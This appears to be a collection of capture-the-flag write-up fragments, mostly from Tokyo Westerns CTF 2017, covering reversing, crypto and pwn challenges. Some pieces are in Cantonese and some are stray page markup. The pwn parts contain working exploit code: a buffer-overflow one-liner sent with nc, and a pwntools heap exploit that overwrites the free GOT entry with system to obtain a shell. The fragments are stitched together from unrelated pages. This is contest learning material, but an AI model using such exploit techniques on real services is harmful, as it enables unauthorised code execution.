<h3>Web (150): </h3>Hard task, was looking in all js files, then I found js/jquery.js which handles what the client types in main pageAfter analyzing it we find an interesting function with this variable inside : $m=[70,70,71,79,86,74,71,83,80,74,77,86,81,95];//times alt is pressed for Access GrantedTried to decode ascii code random word but there is an interesting condition if(key==$m[$c]-$c)tried to loop over the array and substract the index from each value to get $x=[70, 69, 69, 76, 82, 69, 65, 76, 72, 65, 67, 75, 69, 82]decoding the ascii : we get "FEELREALHACKER" put that in lower case and wrap it in flag format, and that's the flag h4ck1t{feelrealhacker} |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>Writeups</span></span></span><span>/</span><span><span>Western Tokyo CTF</span></span><span>/</span>Rev Rev Rev<span>/</span> </div> </div>
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# SHA2017 CTF Rev100 Suspect File 1
**Description:**
>Suspect File 1 (100) - 63 solves>>We found some software on our suspects development server, it looks like they created some different versions, are you able to crack the >software?>>Challenge created by the Digital and Biometric Traces division of the Netherlands Forensic Institute.> [suspectfile1.tgz](./suspectfile1.tgz) 220f680d2b441c43163065dc779a450b
# Writeup
第一次寫writeup,呢條只係sanity check,然而我用左1個鐘頭寫同debug angr script,再用左個半鐘頭 update angr :0)
首先Ida 左佢先
見到都反胃x_x
F5 code Conditions for output "Yes!"
```C++.........} while ( v10 != -915395067 ); puts("Yes!"); return 0;}
```由於冇scanf,估計要pass一個argv令v10==-915395067
gdb係sorry() set breakpoint
call sorry()之前嘅stack
pass左一個事實落去做argv
唔小心汁走左支flag ^_^
七瀨大法好
估計係因為中間太多while,所以angr爆炸,估計要z3解先得
唉 終於解到題~~~~~~~
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<title>ctf-writeups/tokyowesterns2017/ppc-pplc at master · ymgve/ctf-writeups · GitHub</title>
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> Broken Packer>> rev150> > Description: Looks like this packer can not unpack what has been packed :( There are 2 mistakes in unpacking procedure. It leads to the error. Try to fix unpacker and figure out what is inside.> > Webpage: [broken_packer.zip](https://0xd13a.github.io/ctfs/hackit2017/rev150/broken_packer.zip)
We are given an archive with 2 files - a packer and a packed executable. As it later turns out the packer is not even needed to solve it, so let's concentrate on the packed application, ```packed```.
Running the application from command line yields a segfault:
```sh$ ./packedSegmentation fault```
We better fix those errors the description is talking about. Let's open it in IDA:
The unpacking routine is very simple and the errors are easy to spot. The loop index is in ```rax``` so ```xor [rdx], dl``` should really be ```xor [rax], dl```. Also, we go byte-by-byte, so the index increment should be ```add rax, 1```, not ```add rax,2```. Let's patch the binary to correct these.
Patching the application gets us further:
```sh$ ./packedThe hardest part is overcome.Segmentation fault```
Let's debug the application and look at the disassembly to see what function outputs that:
```.text:0000000000400BA9 sub_400BA9 proc near ; DATA XREF: sub_400990+1D.text:0000000000400BA9.text:0000000000400BA9 var_10 = qword ptr -10h.text:0000000000400BA9 var_4 = dword ptr -4.text:0000000000400BA9.text:0000000000400BA9 push rbp.text:0000000000400BAA mov rbp, rsp.text:0000000000400BAD sub rsp, 10h.text:0000000000400BB1 mov [rbp+var_4], edi.text:0000000000400BB4 mov [rbp+var_10], rsi.text:0000000000400BB8 lea rdi, aTheHardestPart ; "The hardest part is overcome.".text:0000000000400BBF call sub_407FC0.text:0000000000400BC4 mov rax, [rbp+var_10].text:0000000000400BC8 add rax, 8.text:0000000000400BCC mov rax, [rax].text:0000000000400BCF lea rsi, aCryp ; "cryp".text:0000000000400BD6 mov rdi, rax.text:0000000000400BD9 call sub_400370.text:0000000000400BDE test eax, eax.text:0000000000400BE0 jnz short loc_400BF5.text:0000000000400BE2 mov rax, [rbp+var_10].text:0000000000400BE6 add rax, 10h.text:0000000000400BEA mov rax, [rax].text:0000000000400BED mov rdi, rax.text:0000000000400BF0 call sub_400AAE.text:0000000000400BF5.text:0000000000400BF5 loc_400BF5: ; CODE XREF: sub_400BA9+37.text:0000000000400BF5 mov rax, [rbp+var_10].text:0000000000400BF9 add rax, 8.text:0000000000400BFD mov rax, [rax].text:0000000000400C00 lea rsi, aDecr ; "decr".text:0000000000400C07 mov rdi, rax.text:0000000000400C0A call sub_400370.text:0000000000400C0F test eax, eax.text:0000000000400C11 jnz short loc_400C18.text:0000000000400C13 call sub_400B39.text:0000000000400C18.text:0000000000400C18 loc_400C18: ; CODE XREF: sub_400BA9+68.text:0000000000400C18 mov eax, 0.text:0000000000400C1D leave.text:0000000000400C1E retn.text:0000000000400C1E sub_400BA9 endp```
Looks like there is a ```cryp``` and a ```decr``` command line parameters. Assuming we need to decrypt the flag, we first need to find where the encrypted flag is. Running with ```cryp``` parameter gives us a hint at what it looks like:
```sh$ ./packed cryp h4ck1t{test}The hardest part is overcome.0x95, 0xc0, 0x90, 0x8e, 0xc5, 0x8f, 0x74, 0x31, 0x6b, 0x63, 0x34, 0x68,```
The encrypted bytes look like this:
```95 C0 90 8E C5 8F 74 31 6B 63 34 68 ......t1kc4h```
So the ending is just the flag prefix, reversed. Luckily, the encrypted flag is embedded in the binary:
Now let's analyze the decryption algorithm so that we could reproduce it:
```.text:0000000000400B39 sub_400B39 proc near ; CODE XREF: sub_400BA9+6A.text:0000000000400B39.text:0000000000400B39 var_9 = byte ptr -9.text:0000000000400B39 var_8 = dword ptr -8.text:0000000000400B39 var_4 = dword ptr -4.text:0000000000400B39.text:0000000000400B39 push rbp.text:0000000000400B3A mov rbp, rsp.text:0000000000400B3D sub rsp, 10h.text:0000000000400B41 lea rdi, byte_6B20A0.text:0000000000400B48 call sub_417BB0.text:0000000000400B4D mov [rbp+var_8], eax.text:0000000000400B50 mov eax, [rbp+var_8].text:0000000000400B53 mov [rbp+var_4], eax.text:0000000000400B56.text:0000000000400B56 loc_400B56: ; CODE XREF: sub_400B39+6B.text:0000000000400B56 cmp [rbp+var_4], 0.text:0000000000400B5A js short loc_400BA6.text:0000000000400B5C mov eax, [rbp+var_4].text:0000000000400B5F movsxd rdx, eax.text:0000000000400B62 lea rax, byte_6B20A0.text:0000000000400B69 movzx ecx, byte ptr [rdx+rax].text:0000000000400B6D mov eax, [rbp+var_8].text:0000000000400B70 sub eax, 1.text:0000000000400B73 sub eax, [rbp+var_4].text:0000000000400B76 movsxd rdx, eax.text:0000000000400B79 lea rax, byte_6B20A0.text:0000000000400B80 movzx eax, byte ptr [rdx+rax].text:0000000000400B84 xor eax, ecx.text:0000000000400B86 xor eax, 0FFFFFF80h.text:0000000000400B89 mov [rbp+var_9], al.text:0000000000400B8C mov eax, [rbp+var_4].text:0000000000400B8F movsxd rdx, eax.text:0000000000400B92 lea rax, byte_6B20A0.text:0000000000400B99 movzx ecx, [rbp+var_9].text:0000000000400B9D mov [rdx+rax], cl.text:0000000000400BA0 sub [rbp+var_4], 1.text:0000000000400BA4 jmp short loc_400B56.text:0000000000400BA6 ; ---------------------------------------------------------------------------.text:0000000000400BA6.text:0000000000400BA6 loc_400BA6: ; CODE XREF: sub_400B39+21.text:0000000000400BA6 nop.text:0000000000400BA7 leave.text:0000000000400BA8 retn.text:0000000000400BA8 sub_400B39 endp```
Essentially the algorithm reverses the flag, and then encodes the first part of it by XORing it with characters in the second part and with ```0x80```.
To decode it let's write a short script:
```pythondata = bytearray(open("packed","rb").read())
off = 0xb20a0out = ""
for x in range(0x30/2): out += chr(data[off + x] ^ data[off + 0x30 - x - 1] ^ 0x80) print (out + str(data[off + 0x30/2: off + 0x30]))[::-1]```
The flag is ```h4ck1t{mor0ns_rel1es_on_p4ck3r5_vari0rs_d03sn0t}```:
```sh$ python solve.py h4ck1t{mor0ns_rel1es_on_p4ck3r5_vari0rs_d03sn0t}``` |
```pythonflag = 0x0804a080``````bashecho -e "AAAAAAAAAAAAAAAAAAAA\x80\xa0\x04\x08" |nc pwn1.chal.ctf.westerns.tokyo 12345```Welcome my secret service. Do you know the password? Input the password.TWCTF{pwnable_warmup_I_did_it!} |
```from pwn import *import os
DEBUG = False
context.log_level = 'debug'
env = os.environenv['LD_PRELOAD'] = 'libc.so.6'
elf = ELF('./simple_note')libc = ELF('./libc.so.6')
if DEBUG: p = process('simple_note', env=env)else: p = remote('pwn1.chal.ctf.westerns.tokyo', 16317) def add(size, content): p.recvuntil('Your choice: \n') p.sendline('1') p.recvuntil('Please input the size: \n') p.sendline(str(size)) p.recvline('Please input your note: \n') p.send(content)
def delete(index): p.recvuntil('Your choice: \n') p.sendline('2') p.recvuntil('Please input the index: \n') p.sendline(str(index))
def show(index): p.recvuntil('Your choice: \n') p.sendline('3') p.recvuntil('Please input the index: \n') p.sendline(str(index)) p.recvuntil('Note: \n') return p.recvuntil('\n======================', drop=True)
def edit(index, content): p.recvuntil('Your choice: \n') p.sendline('4') p.recvuntil('Please input the index: \n') p.sendline(str(index)) p.recvline('Please input your note: \n') p.send(content)
add(0x88, 'A'*0x88)add(0x88, 'G'*0x88)add(0x88, 'B'*0x88)add(0x88, 'C'*0x58+p64(0xc1))add(0x88, 'D'*0x88)add(0x88, 'E'*0x88)
ptr = 0x6020C0
delete(0)add(0x88, 'F'*8)libc_base = u64(show(0)[8:].ljust(8, '\x00')) - 0x3c4b78
edit(1, 'H'*0x88 + '\xf1')
delete(2)add(0xe8, '/bin/sh\x00' + 'I'*0x90 + p64(0x90*2-16+1) + p64(ptr) + p64(ptr+8))edit(4, 'J'*0x80 + p64(0x90*2-16) + '\x90')
delete(5)
free_got = elf.got['free']system = libc.symbols['system'] + libc_baseexecve = libc_base + libc.symbols['execve']one_gadget = libc_base + 0xf1117
edit(3, p64(free_got))edit(0, p64(system))
delete(2)
p.interactive()``` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTFs</span></span></span><span>/</span><span><span>Tokyo Westerns CTF 3rd 2017</span></span><span>/</span>My Simple Cipher<span>/</span> </div> </div>
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|
yet another PLC challange as last year's?
private: nc ppc1.chal.ctf.westerns.tokyo 10000
local: nc ppc1.chal.ctf.westerns.tokyo 10001
comment: nc ppc1.chal.ctf.westerns.tokyo 10002
restricted_python.7z
Note: If you cannot connect the server with nc command, please try ncat command(included nmap package).
https://github.com/AnisBoss/CTFs/tree/master/Tokyo%20Westerns%20CTF%203rd%202017/pplc/ |
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# __Tokyo Westerns CTF 3rd 2017.__ ## _BabyDLP_
## Information**Category:** Crypto**Points:** 69**Solves:** 91**Description:** > Usually, Baby* is easy. **ppc2.chal.ctf.westerns.tokyo:28459**
[server.py](./server.py)
## Solution
We need to solve equation like: where:- __p__ is a big prime number; - __m__ is our flag in bits; - __s__ is our input - __X__ is out output. We can only try to guess the bits of the flag using XOR one by one from the end of the binary number.
The first step is the XORing with __0__ and __1__: 
 and  differ only in the last bit. If the last bit of __m__ is __0__, then  = 1 + , otherwise, 1 +  =  => =>  =  (__m__'s last bit is __0__) or  =  (__m__'s last bit is __1__) __0__) =>  __1__) => 
Left parts are integers. It means right parts are integers too. Now we will find integer variant (__0__ or __1__) and save the result. Second step is to undestand how to find other bits. Now we will XOR number with __1(i-1 random bits)__ and __0(same i-1 random bits)__ to get results, which degrees differ only in i position and one result is  times larger. ( and otherwise)It takes a lot of memory and time to calculate multiplier. We've optimized this with modulus multiplying.
Completed exploit:```py#!/usr/bin/env python3from socket import socket
p = 160634950613302858781995506902938412625377360249559915379491492274326359260806831823821711441204122060415286351711411013883400510041411782176467940678464161205204391247137689678794367049197824119717278923753940984084059450704378828123780678883777306239500480793044460796256306557893061457956479624163771194201E = 10e-8
def calc(mul, x1, x2): return abs((x1 - (mul * x2)%p) % p) < E , abs((x2 - (mul * x1)%p) % p) < E
res = ''for i in range(260*16): mul = 2 if i == 0 else (mul**2 % p) a,b = map(lambda x: hex(int(x, 2))[2:].encode()+b'\r\n',('1'+res, '0'+res)) with socket() as s: s.connect(('ppc2.chal.ctf.westerns.tokyo', 28459)) s.send(a) a = s.recv(2048).strip()[2:].decode() s.send(b) b = s.recv(2048).strip()[2:].decode() a,b = map(lambda x:int(x, 16), (a,b)) v1, v2 = calc(mul, a, b) if v1 and v2: print('WRONG!') print(res, v1, v2) exit() res = ('1' if not v1 else '0') + res print('res:', res)``` |
tl;dr:
- LFI + path traversal to get sources and 1st flag- `stripos` can return `0` if haystack starts with needle and this `0` is treated by `!=` as `false`
Full writeup: https://github.com/p4-team/ctf/tree/master/2017-09-02-tokyo/web_uploader |
tl;dr:
- use homomorphic property to get `ct_mod` such that `decrypt(ct_mod) == pt + x`- recover low bits by observing overflows in bit 512 when adding `1` to lower bits- use homomorphic property to get `ct_mod` such that `decrypt(ct_mod) == pt/2` for even `pt`- subtract all low bits from `pt` (add `n-low`) to get even number- recover high bits by dividing `pt` by 2
Full writeup: https://github.com/p4-team/ctf/tree/master/2017-09-02-tokyo/crypto_pinhole |
# Tokyo Westerns CTF - Rev - Rev_rev_rev (25 points)_Author: Brandon Everhart_, _Date: Sept 2017_
## Solve ### Step 1: Basic Info
Begin by collecting basic information about the file. Use the _file_ tool to check file type among other things. (While _file_ can return incorrect information it is a better resource than file extensions themselves.)
The results of the file command show the file is a 32-bit binary, ELF file, and is stripped. ELF stands for "Executable and Linkable Format" and is a Linux executable file. The file being stripped means the symbols have been removed from the binary.
The second tool to gather basic information about the binary is _strings_. This tool can find "strings" that are in the binary (Parameters for what a "string" is can be provided by the user). Output from running the strings tool revealed a possible call to fgets and the strings "Invalid!" and "Correct!".
### Step 2: Execute the File
Check the permissions of the file and if necessary change the permissions to allow execution of the file. Execute the file.
Upon executing the file you can now start to understand what the file is doing and what exactly the challenge is. The challenge is enter the correct string and have the program return "Correct!". This correct string is most likely the flag.
### Step 3: Disassembly and angr
Disassembly tool: Radare2
Use the Radare2 command afl to list all the functions found in the binary. afl shows us that there is a main function. That is a good place to start looking by using the Radare2 seek command: `$ s main`.
Inside of main you find a call to fgets (shown below). When fgets is called in this case it will pop 3 values off that stack as parameters passed to the function. The second of these parameters being the number of bytes fgets will read from stdin. Looking above the call to fgets the second push instruction is pushing the value 0x21. This means fgets will read 33 bytes. AKA: The flag is no more 32 characters and a newline.
There are at least two ways to approach this problem now:
1. Continue to analyze the binary and figure out how the input is mutated and what is it compared to.
Or...
2. Use a symbolic execution tool to find an input that returns the desired result.
Here the problem is solved using the symbolic execution tool angr.
The length of the user input is already known but now we need to find the "desired result" for angr to use. In this case the "desired result" is the input that causes the program to reach a certain address. That address, is the address where the program prints "Correct!".
The angr script can be found at Files/angr_rev.py
The result of running the script is seen below.
`FLAG: TWCTF{qpzisyDnbmboz76oglxpzYdk}` |
c: 0x217c8bf9b45601267624c3b1ba89ae93d04c8fae32dc15496262f36f48d06c0dc9e178a77b77a33708dcbe1fcd55ea9eb636fe5684c2f0f08df3389f47b36a128636671eba300491c829ed1e252b1bb4dbb3b93bc46d98a10bb5d55347752052ab45e143fd46799be1d06ac3ff7e8b1eb181dfbba8dfac3910202fd0b9a25befeE : 266524484526673326121255015126836087453426858655909092116029065652649301962338744664679734617977550306567819672969837450223062478394149960243362563995235387971047857994699247277712682103161537347874310994510059329875060868679654080020041070975648626636209785889112656335054840517934593236597457100751820027783N : 412460203584740978970185080155274765823237615982150661072746604041385717906706098256415230390148737678989448404730885157667896599397615737297545930957425615121654272472589331747646564634264520011009284080299605233265170506809736069720838542498970453928922703911186788239628906189362646418960560442406497717567
Author: TnMch |
Although there are already quite a number of writeups for this task, I realized my approach was different as most writeups make use of the knowledge that the starting 6 characters of the message is TWCTF{
My approach only cares about the pipe character in the middle of the message. I suppose in a way a more flexible approach. |
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